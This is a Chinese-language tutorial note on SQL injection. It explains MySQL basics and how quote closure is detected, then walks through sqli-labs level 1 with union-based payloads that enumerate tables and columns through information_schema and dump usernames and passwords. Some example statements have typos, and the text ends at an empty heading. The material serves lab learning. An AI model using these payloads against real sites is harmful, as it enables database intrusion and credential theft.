web的三层结构:界面层,业务逻辑层,数据访问层。
前端服务器向服务端服务器发送一个请求(request),服务端服务器会发送一个sql语句给数据库,只要你能找到这个过程中的sql拼接的位置,sql都是可以发生的,并不一定要是网页,网页的可视化让我们更加便于理解。
一,基本语句示例--注释
1.第一种注释 --空格
第二种注释 #
#后面的内容是注释内容
---空格 后面的内容叫注释
2.-列出所有的 数据库 show databases
3.查看某个数据库的里的所有表 show databasename;
use tables;
show tables;或者 show tables from mysql;
4.查看当前时间 select now();
5.查看库 select database();
6.看版本:select version();
7.看用户:select user();
8.查看数据路径:@@datadir;
9.查关键字 select *from mysql.user;(带*表示查所有)
eg:一个准确的示例 select schema_name infoemation_schema.'schemata';
二,实战语句分析。
1.用户输入:1 or 1 =1,实际的sql为select * from t1 where id = 1 or 1=1;也就是 select *from t1;
2.在条件中加上’是因为要让SQL语句闭合,而且使用union之前要确定字段数,不然你的sql是错误的,就不成立,而且必须和你前面的一一对应,例如你有5列就应该如图
3.SQL注入的闭合
判断SQL语句闭合方式原理:
MYSQL数据库的包容性比较强,如果你输错了数据的类型,MYSQL数据库会自动将其转换成正确的数据类型,比如输入1)、1"、1-等,只要数字后面的字符不是闭合符的,数据库都会把你输入的错误的数据转换成正确的数据类型。
但是,若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。id输入的是1),那么拼接成的sql语句就是:“SELECT * FROM name WHERE id=‘1)’ LIMIT 0,1”;
按理来说这个sql语句应该是错误的,执行会报错,但是因为是在Mysql数据库环境下,它会自动把错误的数据1)转换成合法的数据1,从而使得sql语句执行成功,相同的输入1-、1"也一样。若id输入的是1’,那么形成的sql语句就是:“SELECT * FROM name WHERE id=‘1’ '(两个单引号) LIMIT 0,1”;那么第1个单引号就和第2个单引号形成闭合,然后还剩下一个多余的第3个单引号,从而报错。
以sqli-labs靶场为例
第一关是单引号闭合,开始时,我们输入?id=1和?id=2,有回显,到是回显随数字变化,说明我们被代入了数据库,可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。
爆列数?id=1'order by 3 --+
爆显示位?id=-1'union select 1,2,3--+
获取数据名和版本号,语句?id=-1'union select 1,database(),version()--+
爆表,语句?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆段名,语句?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
(9)得到内容,语句?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
4.union语句作用示例: